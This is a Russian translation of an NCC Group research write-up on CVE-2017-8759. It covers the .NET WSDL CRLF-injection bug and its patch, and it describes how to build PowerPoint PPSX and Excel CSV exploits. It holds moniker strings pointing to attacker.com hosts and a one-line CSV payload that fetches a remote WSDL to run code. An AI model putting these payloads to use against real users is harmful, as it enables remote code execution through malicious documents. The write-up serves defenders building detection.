nccgroup/cve-2017-8759Анализ и эксплуатация CVE-2017-8759 от NCC Group вместе с дальнейшими доработками.
Этот репозиторий содержит примеры эксплойтов для CVE-2017-8759 для Microsoft PowerPoint, а также описание того, как подобные уязвимости были и могут быть использованы с помощью тех же методов.
Цель публикации этого репозитория — осветить альтернативные методы эксплуатации, о которых защитники могут быть не осведомлены. Освещая эти альтернативные методы, мы надеемся дать защитникам возможность реализовать надёжное обнаружение и избежать как ложных срабатываний (в случае ошибочной идентификации других эксплойтов Moniker как CVE-2017-0199), так и ложноотрицательных результатов (когда внимание сосредоточено только на RTF-обнаружениях).
Ещё в апреле, когда я услышал новость о том, что новая неисправленная уязвимость эксплуатируется «в дикой природе», я попытался воссоздать эксплойт, чтобы можно было создать правила обнаружения до того, как уязвимость станет публичной. Однако в то время у меня была только информация из блогов FireEye и McAfee. Из-за отсутствия публичных деталей это привело к тому, что я в итоге эксплуатировал уязвимость с помощью (как оказалось) совершенно другого метода, нежели тот, который использовался в эксплойте «RTF URL Moniker», замеченном «в дикой природе».
Примерно через месяц Хайфей Ли (Haifei Li) выделил вторую уязвимость (также известную как «PPSX Script Moniker») в своём докладе на SyScan360; он обнаружил и сообщил о ней ещё в январе 2017 года. Она была исправлена тем же патчем CVE-2017-0199, но эксплуатировалась (как самим автором, так и позже в дикой природе) с использованием формата PPSX. На тот момент мне всё ещё не было известно об атаках «в дикой природе», использующих ошибку URL Moniker через PPSX — однако, поскольку обе ошибки были исправлены одним CVE, существовала (и всё ещё существует) некоторая путаница в отношении обнаружения этих эксплойтов (об этом позже).
Перенесёмся в сентябрь 2017 года, когда FireEye обнаружила ещё одну уязвимость, использующую формат RTF в Microsoft Word. Это побудило меня вернуться к моему предыдущему эксплойту «PPSX URL Moniker», чтобы выяснить, можно ли новую ошибку «SOAP Moniker» также эксплуатировать с помощью той же техники PPSX.
Как упоминалось выше, предыдущая уязвимость (CVE-2017-0199) фактически представляла собой две отдельные уязвимости, которые были исправлены Microsoft под одним номером CVE. Первая (также известная как ошибка «URL moniker») эксплуатировалась с помощью RTF, однако вторая (ошибка «script moniker») использовала совершенно другой метод и эксплуатировалась с помощью формата OOXML, а именно PPSX.
Как также было сказано ранее, техника OOXML не специфична для уязвимости Script Moniker и может использоваться для эксплуатации уязвимостей «URL Moniker», «Script Moniker» и новой «SOAP Moniker».
Эксплуатация в OOXML довольно проста и использует несколько трюков для автоматической активации уязвимого объекта. Сначала я опишу эксплойт для URL Moniker, а затем объясню, как его можно обновить для работы с Script и Soap Moniker (и, возможно, с другими в будущем).
Сначала необходимо встроить ссылку на файл (называется StdOleLink или OLE2Link). В своём эксплойте я использовал ссылку на файл PowerPoint, как показано ниже. Это понадобится позже для активации моникера.
После размещения ссылки путь необходимо изменить, чтобы он содержал строку моникера. В случае ошибки «URL Moniker» достаточно добавить прямой URL к HTA-файлу (например, «http://attacker.com/evil.hta»). Для версии Script Moniker можно использовать строку «script:https://attacker.com/evil.sct». Путь к связанному объекту хранится в следующем расположении:
ppt\slides\_rels\slide1.xml.rels
Простого изменения на строку моникера достаточно, чтобы при активации связанного объекта сработала уязвимость. Однако это не происходит автоматически, если не использовать другой трюк.
Для автоматической активации объекта можно использовать так называемый «OLE Verb». Проще говоря, это заставляет PowerPoint «активировать» объект, вызывая метод IMoniker::BindToObject(), что в итоге приводит к выполнению вашего кода (в зависимости от моникера после этого выполняются разные пути).
Чтобы использовать OLE Verb, просто выберите встроенный объект и перейдите к:
Анимации -> Добавить анимацию -> OLE Action Verbs -> Открыть
После создания анимации OLE Verb можно выбрать «Начало: вместе с предыдущим», чтобы объект активировался сразу после запуска слайд-шоу.
На этом этапе, если вы решите сохранить документ как PPTX и открыть его, появится запрос на обновление ссылок. Это нежелательно с точки зрения эксплуатации.
Чтобы обойти это, можно просто сохранить файл как PPSX (слайд-шоу PowerPoint). Это приведёт к автоматическому запуску слайд-шоу при открытии (и, таким образом, к срабатыванию OLE Verb для выполнения вашего кода).
Как описано в блоге FireEye, уязвимость на самом деле находится в .NET framework, а не в самом Office. Это связано с проблемой внедрения кода при разборе WSDL-файла, содержащего несколько определений адресов. Если внедрить последовательность CRLF, можно добавить произвольный код в сгенерированный C#-файл, который затем компилируется в DLL и загружается приложением Office.
Сама ошибка присутствует в методе IsValidUrl класса WsdlParser в System.Runtime.Remoting. До патча CVE-2017-8759 этот метод не проверял символы CRLF и просто возвращал неочищенную строку (убедившись, что строка правильно экранирована), которая затем выводится в .cs-файл для компиляции csc.exe. Это означает, что если злоумышленник передаёт URL, содержащий \r\n, он может внедрить произвольный код в сгенерированный C#-файл. Причина, по которой внедрение CRLF срабатывает, заключается в том, что обычно при разборе WSDL-файла с несколькими определениями адресов метод PrintClientProxy пытается закомментировать последующие определения, как показано ниже.
Неисправленный IsValidUrl:
PrintClientProxy:
Проблема в том, что IsValidUrl всё же вызывается для URL второго адреса перед добавлением его в закомментированную строку. Если злоумышленник добавляет символы CRLF во втором определении адреса, при разборе кода методом IsValidUrl он может выйти из закомментированной строки и внедрить свой собственный C#-код.
После патча CVE-2017-8759 класс WsdlParser теперь содержит новый метод с именем TransliterateString. Теперь при вызове IsValidUrl код сначала проверяет, установлено ли логическое значение AppSettings.AllowUnsanitizedWSDLUrls. Если оно установлено в true, код следует тому же пути, что и до патча (разрешая внедрение CRLF). Однако, если значение равно false, вызывается новый метод TransliterateString. Этот новый метод просто кодирует любые небуквенные символы как escape-последовательности Unicode, тем самым гарантируя, что символы новой строки не могут быть внедрены.
Исправленный IsValidUrl:
TransliterateString:
Чтобы продемонстрировать патч, я создал простой тестовый стенд на C# и попытался разобрать строку, содержащую символы CRLF. Результат показан ниже. Обратите внимание, что когда вызывается исправленный метод и AllowUnsanitizedWSDLUrls установлен в false, строка теперь кодируется.
При исследовании того, как эксплуатировать эту уязвимость, я создал тестовый стенд для проверки выполнения кода за пределами Office. Для этого я использовал JScript вместе с методом GetObject, однако вы могли бы использовать soapsuds.exe. Это было протестировано с WSDL-файлом из образца вредоносного ПО, чтобы понять, как он работает, и подтвердить уязвимость.
Как только у меня заработал эксплойт с GetObject, я просто изменил файл rels, как показано ранее, включив в него моникер Soap в форме «soap:wsdl=http://attacker.com/evil.whatever».
После создания эксплойта я загрузил его на Virus Total (как делал с предыдущими образцами) и получил неожиданные результаты. Он был обнаружен только одним антивирусным движком и ошибочно идентифицирован как CVE-2017-0199. Ещё один загруженный мной образец также был помечен как CVE-2017-0199. Это кажется понятным из-за сходства с предыдущими эксплойтами, однако есть опасение, что это может привести к путанице или, в худшем случае, к тому, что вновь обнаруженные эксплойты Moniker будут упущены из-за того, что их спишут на старую, исправленную уязвимость.
Сначала запустите веб-сервер локально, в той же папке, что и файлы эксплойта:
python -m SimpleHTTPServer 80
Теперь откройте файл exploit.ppsx. Если всё прошло успешно, вы должны увидеть, как PowerPoint загружает как logo.png, так и w00t.hta с вашего локального файлового сервера, и будет запущен calc.exe.
После публикации о PPSX-эксплойте в Twitter Jacob Soo связался со мной и предложил попробовать эксплуатировать уязвимость в Microsoft Excel. Я попробовал, и, конечно, он был прав — мне удалось запустить calc.exe всего с одним запросом.
Это интересно, поскольку ранее отмечалось, что CSV (и SLK-файлы) не включают защищённый режим. Это означает, что количество запросов, отображаемых пользователю при отправке RTF, PPSX или CSV/SLK-файла из интернет-источника, одинаково (из-за того, что первые включают защищённый просмотр). Кроме того, из-за того, что это обычный текст и обычно довольно безобидные файлы, CSV-файлы часто проходят через периметрическую защиту (например, веб-прокси или спам-фильтры электронной почты).
Эксплуатация этой ошибки в Excel проста — достаточно включить ссылку на WSDL-файл. Обратите внимание, что в приведённом ниже примере мы используем ProgID «GC» (просто потому, что это был самый короткий из найденных), однако это может быть любой допустимый ProgID для активации моникера.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
Сохранение приведённой выше строки как CSV достаточно для эксплуатации уязвимости — достаточно коротко для твита! Более того, из-за своей краткости её сложнее (хотя, очевидно, не невозможно) создать сигнатуры обнаружения, и поэтому я считаю, что стоит обратить на это внимание защитников, чтобы атаки на основе Excel можно было выявлять в будущем.
Microsoft выпустила патч для этой уязвимости 12 сентября 2017 года.
Некоторые Yara-правила для вариантов CVE-2017-8759 были опубликованы Флорианом Ротом (Florian Roth) и Security Doggo.
Я также создал: